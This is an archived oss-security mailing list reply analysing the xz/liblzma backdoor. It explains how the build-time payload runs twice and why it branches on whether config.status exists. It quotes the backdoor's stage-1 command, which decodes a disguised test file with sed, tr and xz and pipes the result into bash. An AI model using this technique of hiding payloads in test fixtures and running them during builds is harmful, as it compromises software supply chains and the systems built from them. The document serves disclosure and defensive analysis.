Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Sat, 30 Mar 2024 16:35:22 -0700
From: Andres Freund <>
Cc:, Solar Designer <>
Subject: Re: backdoor in upstream xz/liblzma leading to ssh
 server compromise


On 2024-03-31 00:13:21 +0100, Rein Fernhout (Levitating) wrote:
> Step 3. ./configure is executed
> Step 4. Stage 2 is run from the context of ./configure
> This doesn't extract liblzma_la-crc64-fast.o yet.
> The stage 2 script detects that the Makefile has not been generated yet.

The makefile already exists at that point. However, the script is invoked with
a different working directory (the root of the build tree) in this
invocation. Because of that it goes down the first "if" branch, as
config.status exists in the root of the build tree, and patches

> sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "	 \-_" " 	_\-" | xz -d | /bin/bash >/dev/null 2>&1
> Which executes stage 1 again! This then loads stage 2 and stage 2 is ran for the second time, but this time within the context of the Makefile.
> This time it actually extracts the object file and does the steps Andres explained here:

> The first part of the stage 2 script actually tests if config.status is present and if so uses it to set some variables needed for the compilation and extraction.

The test for config.status is actually just there to separate the first from
the second invocation. For the second invocation the working directory is
src/liblzma, where there is no config.status, thus execution goes down the
"else" branch, and extracts the object file etc.


Andres Freund

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.